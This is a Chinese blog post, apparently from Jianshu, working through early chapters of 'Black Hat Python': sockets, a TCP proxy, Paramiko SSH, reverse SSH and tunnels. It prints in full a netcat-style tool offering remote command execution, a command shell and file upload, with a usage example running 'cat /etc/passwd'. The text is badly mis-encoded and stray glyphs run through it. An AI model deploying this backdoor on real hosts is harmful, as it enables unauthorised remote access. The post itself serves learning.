Python黑帽子--黑客與滲透測(cè)試編程之道

第一章設(shè)置Python環(huán)境

kali虛擬機(jī)

開始用pip安裝github3.py珊佣,沒什么問題

跟著安裝WingIDE篙挽,下載linux對(duì)應(yīng)位數(shù)的版本的deb婴氮,就行了竿裂,但是產(chǎn)生了依賴


于是修改軟件源APT-sources.list vim /etc/apt/sources.list 將原來(lái)的注釋掉纵苛,加了個(gè)阿里的 #阿里云kali源 deb http://mirrors.aliyun.com/kali sana main non-free contrib deb http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free deb-src http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free 再 apt-get update & apt-get upgrade apt-get -f install 最后再安裝deb文件就行了剿涮,命令如上面截圖


因?yàn)閣ingide收費(fèi)版才有自動(dòng)補(bǔ)全,那就用有現(xiàn)成序列號(hào)的pycharm4.5吧~~攻人,沒補(bǔ)全真難受


第二章 網(wǎng)絡(luò)基礎(chǔ)

TCP客戶端


可以看到百度返回的HTTP響應(yīng)啦

UDP客戶端


首先先用nc監(jiān)聽一下9999端口取试,-u就是udp模式的啦,哈哈發(fā)過去了怀吻,最后打印出了ip和端口瞬浓,nc沒發(fā)數(shù)據(jù)過來(lái),可能就沒收到數(shù)據(jù)咯 現(xiàn)在就可以比較一下tcp和udp的區(qū)別了蓬坡,最核心的是udp不用連接猿棉,因?yàn)槭菬o(wú)狀態(tài)的協(xié)議 發(fā)送和接受的函數(shù)也是有區(qū)別的,通過實(shí)驗(yàn)發(fā)現(xiàn)recv和recvfrom的參數(shù)是接收幾個(gè)字符的意思

TCP服務(wù)器

#-*-?coding:utf8?-*-

importsocket

importthreading

bind_ip?="0.0.0.0"#綁定ip:這里代表任何ip地址

bind_port?=8888

server?=?socket.socket(socket.AF_INET,?socket.SOCK_STREAM)

server.bind((bind_ip,?bind_port))

#?最大連接數(shù)為5

server.listen(5)

print"[*]?Listening?on?%s:%d"%?(bind_ip,?bind_port)

#?這是客戶處理進(jìn)程

defhandle_client(client_socket):

#打印出客戶端發(fā)送得到的內(nèi)容

request?=?client_socket.recv(1024)

print"[*]?Received:?%s"%?request

#發(fā)送一個(gè)數(shù)據(jù)包

client_socket.send("ACK!")

client_socket.close()

whileTrue:

client,addr?=?server.accept()

print"[*]?Accepted?connection?from:?%s:%d"%?(addr[0],?addr[1])

#掛起客戶端線程屑咳,處理傳人的數(shù)據(jù)

client_handler?=?threading.Thread(target=handle_client,?args=(client,))

client_handler.start()

? 用之前的tcp客戶端連接萨赁,收到信息了


同時(shí),服務(wù)端也收到了客戶端發(fā)來(lái)的信息


取代netcat

代碼:

[python]view plaincopy

#!/usr/bin/python

#-*-?coding:utf8?-*-

importsys

importsocket

importgetopt

importthreading

importsubprocess

#?定義一些全局變量

listen?=False

command?=False

upload?=False

execute?=?""

target?=?""

upload_destination?=?""

port?=0

defrun_command(command):

#?刪除字符串末尾的空格

command?=?command.rstrip()

#?運(yùn)行命令并將輸出放回

try:

output?=?subprocess.check_output(command,?stderr=subprocess.STDOUT,?shell=True)

except:

output?="Failed?to?execute?command.\r\n"

#?將輸出發(fā)送

returnoutput

defclient_handler(client_socket):

globalupload

globalexecute

globalcommand

#?檢查上傳文件

iflen(upload_destination):

#?讀取所有的字符并寫下目標(biāo)

file_buffer?=?""

#?持續(xù)讀取數(shù)據(jù)直到?jīng)]有符合的數(shù)據(jù)

whileTrue:

data?=?client_socket.recv(1024)

ifnotdata:

break

else:

file_buffer?+=?data

try:

file_descriptor?=?open(upload_destination,"wb")

file_descriptor.write(file_buffer)

file_descriptor.close()

client_socket.send("Successfully?saved?file?to?%s\r\n"%?upload_destination)

except:

client_socket.send("Failed?to?save?file?to?%s\r\n"%?upload_destination)

#?檢查命令執(zhí)行

iflen(execute):

#?運(yùn)行命令

output?=?run_command(execute)

client_socket.send(output)

#?如果需要一個(gè)命令行shell,那么我們進(jìn)入另一個(gè)循環(huán)

ifcommand:

whileTrue:

#?跳出一個(gè)窗口

client_socket.send("")

cmd_buffer?=?""

while"\n"notincmd_buffer:

cmd_buffer?+=?client_socket.recv(1024)

#??返回命令輸出

response?=?run_command(cmd_buffer)

#?返回響應(yīng)數(shù)據(jù)

client_socket.send(response)

defserver_loop():

globaltarget

#?如果沒有定義目標(biāo),那我們監(jiān)聽所有接口

ifnotlen(target):

target?="0.0.0.0"

server?=?socket.socket(socket.AF_INET,?socket.SOCK_STREAM)

server.bind((target,?port))

server.listen(5)

whileTrue:

client_socket,?addr?=?server.accept()

#?分拆一個(gè)線程處理新的客戶端

client_thread?=?threading.Thread(target=client_handler,?args=(client_socket,))

client_thread.start()

defclient_sender(buffer):

client?=?socket.socket(socket.AF_INET,?socket.SOCK_STREAM)

try:

#?連接到目標(biāo)主機(jī)

client.connect((target,?port))

iflen(buffer):

client.send(buffer)

whileTrue:

#?現(xiàn)在等待數(shù)據(jù)回傳

recv_len?=1

response?=?""

whilerecv_len:

data?=?client.recv(4096)

recv_len?=?len(data)

response?+=?data

ifrecv_len?<4096:

break

printresponse

#?等待更多的輸入

buffer?=?raw_input("")

buffer?+="\n"

#?發(fā)送出去

client.send(buffer)

except:

print"[*]?Exception!?Exiting."

#關(guān)閉連接

client.close()

defusage():

print"BHP?Net?Tool"

print

print"Usage:?bhpnet.py?-t?target_host?-?p?port"

print"-l?--listen??????????????-?listen?on?[host]:[port]?for?incoming?connections"

print"-e?--execute=file_to_run?-execute?the?given?file?upon?receiving?a?connection"

print"-c?--command?????????????-?initialize?a?commandshell"

print"-u?--upload=destination??-?upon?receiving?connection?upload?a?file?and?write?to?[destination]"

print

print

print"Examples:"

print"bhpnet.py?-t?192.168.0.1?-p?5555?-l?-c"

print"bhpnet.py?-t?192.168.0.1?-p?5555?-l?-u=c:\\target.exe"

print"bhpnet.py?-t?192.168.0.1?-p?5555?-l?-e=\"cat?/etc/passwd\""

print"echo?'ABCDEFGHI'?|?python?./bhpnet.py?-t?192.168.11.12?-p?135"

sys.exit(0)

defmain():

globallisten

globalport

globalexecute

globalcommand

globalupload_destination

globaltarget

ifnotlen(sys.argv[1:]):

usage()

#?讀取命令行選項(xiàng),若沒有該選項(xiàng)則顯示用法

try:

opts,?args?=?getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])

exceptgetopt.GetoptError?as?err:

printstr(err)

usage()

foro,ainopts:

ifoin("-h","--help"):

usage()

elifoin("-l","--listen"):

listen?=True

elifoin("-e","--execute"):

execute?=?a

elifoin("-c","--commandshell"):

command?=True

elifoin("-u","--upload"):

upload_destination?=?a

elifoin("-t","--target"):

target?=?a

elifoin("-p","--port"):

port?=?int(a)

else:

assertFalse,"Unhandled?Option"

#我們是進(jìn)行監(jiān)聽還是僅從標(biāo)準(zhǔn)輸入讀取數(shù)據(jù)并發(fā)送數(shù)據(jù)兆龙?

ifnotlistenandlen(target)andport?>0:

#?從命令行讀取內(nèi)存數(shù)據(jù)

#?這里將阻塞,所以不再向標(biāo)準(zhǔn)輸入發(fā)送數(shù)據(jù)時(shí)發(fā)送CTRL-D

buffer?=?sys.stdin.read()

#?發(fā)送數(shù)據(jù)

client_sender(buffer)

#?我們開始監(jiān)聽并準(zhǔn)備上傳文件,執(zhí)行命令

#?放置一個(gè)反彈shell

#?取決于上面的命令行選項(xiàng)

iflisten:

server_loop()

#調(diào)用main函數(shù)

main()

一開始沒在前頭打python杖爽,默認(rèn)是不是用python解析運(yùn)行的,所以會(huì)出錯(cuò)紫皇,kali就會(huì)變成截圖了

下面的客戶端連接時(shí)掂林,連接后要按CTRL+D讓其返回shell


如果你不想每次都打python才能運(yùn)行,就在第一行加入#!/usr/bin/python(如果python默認(rèn)安裝在那個(gè)目錄的話)


創(chuàng)建一個(gè)TCP代理

用法: ./文件名.py [localhost] [localport] [remotehost] [remoteport] [receive_first] ? ? ? ? ? //最后一個(gè)參數(shù)是 是否從遠(yuǎn)程服務(wù)器(主機(jī))接收數(shù)據(jù)


設(shè)置完代理坝橡,再打開百度泻帮,我們?cè)谙聢D可看到GET請(qǐng)求的全部?jī)?nèi)容,這確實(shí)比我們直接訪問百度多了一跳计寇。 過程如下: 瀏覽器將GET請(qǐng)求發(fā)送給本地的80端口锣杂,又我們的程序監(jiān)聽的是本地的80端口,就會(huì)將GET請(qǐng)求發(fā)送給遠(yuǎn)程主機(jī)(即我們開啟程序時(shí)設(shè)置的www.baidu.com的80端口)番宁,最后再將www.baidu.com返回的數(shù)據(jù)給回程序元莫,再給回瀏覽器(那為什么我們?cè)L問其他網(wǎng)址或ip不能呢,就是你發(fā)送的GET請(qǐng)求給www.baidu.com他會(huì)返回你要的網(wǎng)址的內(nèi)容給你么蝶押,那當(dāng)然不會(huì)踱蠢,所以就只能訪問百度域名下的各種目錄)


還有返回的響應(yīng)數(shù)據(jù),其實(shí)我覺得這好像在抓包了


通過Paramiko使用SSH

首先安裝paramiko模塊,還是去了點(diǎn)小問題茎截,好像是安裝過了吧苇侵,要我升級(jí)一下?


代碼(這里也是可以用密鑰認(rèn)證來(lái)登陸的企锌,這里就注釋掉了)


可以看到跟我直接用xshell 連接自己的樹莓派執(zhí)行的結(jié)果是一致的


反向ssh

為了適應(yīng)非默認(rèn)端口榆浓,改了一下作者的客戶端代碼,修改處已圈出


可能是什么權(quán)限什么的撕攒,認(rèn)證成功陡鹃,最后連接不成功
在kali測(cè)試還是一樣~~,有誰(shuí)告訴我原因抖坪,我只有那個(gè)私鑰和作者不一樣啊~~~


2017.06.03更新: 感謝largewave用戶指出: 在下面的Server類中的check_channel_request函數(shù)應(yīng)該return paramiko.OPEN_SUCCEEDED 而不是paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

class?Server(paramiko.ServerInterface):

def?__init__(self):

self.event=threading.Event()

def?check_channel_request(self,?kind,?chanid):

ifkind==?'session':

return?paramiko.OPEN_SUCCEEDED

def?check_auth_password(self,?username,?password):

if?(username==?'root')?and?(password==?'lovepython'):

return?paramiko.AUTH_SUCCESSFUL

return?paramiko.AUTH_FAILED


這樣即可認(rèn)證成功萍鲸,但之后執(zhí)行命令又出現(xiàn)問題了,

報(bào)錯(cuò)如下:

paramiko.ssh_exception.SSHException: Channel closed.

知道的可以繼續(xù)留言擦俐,感謝各位的交流和學(xué)習(xí)脊阴,雖然好久沒搞web 了


ssh隧道

建議看一下這篇文章,你會(huì)對(duì)ssh隧道的理解更直觀捌肴,我的理解簡(jiǎn)單來(lái)說(shuō)就是一條管道蹬叭,其實(shí)別人說(shuō)隧道也覺得差不多啦

http://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html

在本地用locate命令找不到paramiko的示例文件rforward.py藕咏,最終通過谷歌終于找到了状知,原來(lái)在github上:https://github.com/paramiko/paramiko/tree/master/demos,之前那個(gè)test_rsa.key文件也在上面了


一開始將我的樹莓派(192.168.88.102)作為ssh客戶端孽查,端口為5556,饥悴,與kali(10.10.10.145:6666)建立一個(gè)反向ssh隧道 在服務(wù)端kaili執(zhí)行
跟著kali端 ?


但在樹莓派執(zhí)行


并不能連接,出錯(cuò)了(說(shuō)是拒絕)盲再,詳見下圖最后一行

于是就嘗試kali的22端口

python?rforward.py192.168.88.102-p5556-r10.10.10.145:22--user?pi?--password


可以看到成功了西设,而且隧道建立后樹莓派那邊(客戶端)的127.0.0.1:5556處于監(jiān)聽狀態(tài),我們發(fā)送到本地5556的請(qǐng)求會(huì)轉(zhuǎn)發(fā)到10.10.10.145的22端口啦~~


第三章 網(wǎng)絡(luò):原始套接字和流量嗅探

Windows和Linux上的包嗅探

更新中........

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末答朋,一起剝皮案震驚了整個(gè)濱河市贷揽,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌梦碗,老刑警劉巖禽绪,帶你破解...
    沈念sama閱讀 216,997評(píng)論 6 502
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異洪规,居然都是意外死亡印屁,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,603評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門斩例,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)雄人,“玉大人,你說(shuō)我怎么就攤上這事念赶〈∧疲” “怎么了恰力?”我有些...
    開封第一講書人閱讀 163,359評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)珍坊。 經(jīng)常有香客問我牺勾,道長(zhǎng),這世上最難降的妖魔是什么阵漏? 我笑而不...
    開封第一講書人閱讀 58,309評(píng)論 1 292
  • 正文 為了忘掉前任驻民,我火速辦了婚禮,結(jié)果婚禮上履怯,老公的妹妹穿的比我還像新娘回还。我一直安慰自己,他們只是感情好叹洲,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,346評(píng)論 6 390
  • 文/花漫 我一把揭開白布柠硕。 她就那樣靜靜地躺著,像睡著了一般运提。 火紅的嫁衣襯著肌膚如雪蝗柔。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,258評(píng)論 1 300
  • 那天民泵,我揣著相機(jī)與錄音癣丧,去河邊找鬼。 笑死栈妆,一個(gè)胖子當(dāng)著我的面吹牛胁编,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播鳞尔,決...
    沈念sama閱讀 40,122評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼嬉橙,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了寥假?” 一聲冷哼從身側(cè)響起市框,我...
    開封第一講書人閱讀 38,970評(píng)論 0 275
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎糕韧,沒想到半個(gè)月后枫振,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,403評(píng)論 1 313
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡兔沃,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,596評(píng)論 3 334
  • 正文 我和宋清朗相戀三年蒋得,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片乒疏。...
    茶點(diǎn)故事閱讀 39,769評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡额衙,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情窍侧,我是刑警寧澤县踢,帶...
    沈念sama閱讀 35,464評(píng)論 5 344
  • 正文 年R本政府宣布,位于F島的核電站伟件,受9級(jí)特大地震影響硼啤,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜斧账,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,075評(píng)論 3 327
  • 文/蒙蒙 一谴返、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧咧织,春花似錦嗓袱、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,705評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至闪萄,卻和暖如春梧却,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背败去。 一陣腳步聲響...
    開封第一講書人閱讀 32,848評(píng)論 1 269
  • 我被黑心中介騙來(lái)泰國(guó)打工放航, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人为迈。 一個(gè)月前我還...
    沈念sama閱讀 47,831評(píng)論 2 370
  • 正文 我出身青樓三椿,卻偏偏與公主長(zhǎng)得像缺菌,于是被迫代替她去往敵國(guó)和親葫辐。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,678評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容

  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理伴郁,服務(wù)發(fā)現(xiàn)耿战,斷路器,智...
    卡卡羅2017閱讀 134,654評(píng)論 18 139
  • https://nodejs.org/api/documentation.html 工具模塊 Assert 測(cè)試 ...
    KeKeMars閱讀 6,330評(píng)論 0 6
  • 代碼不好排版焊傅,可以到微信訂閱號(hào)(xuanhun521)查看原文剂陡。 Python黑帽編程2.8套接字編程 套接字編程...
    玄魂閱讀 655評(píng)論 1 2
  • =========================================================...
    lavor閱讀 3,488評(píng)論 0 5
  • 大綱 一.Socket簡(jiǎn)介 二.BSD Socket編程準(zhǔn)備 1.地址 2.端口 3.網(wǎng)絡(luò)字節(jié)序 4.半相關(guān)與全相...
    VD2012閱讀 2,335評(píng)論 0 5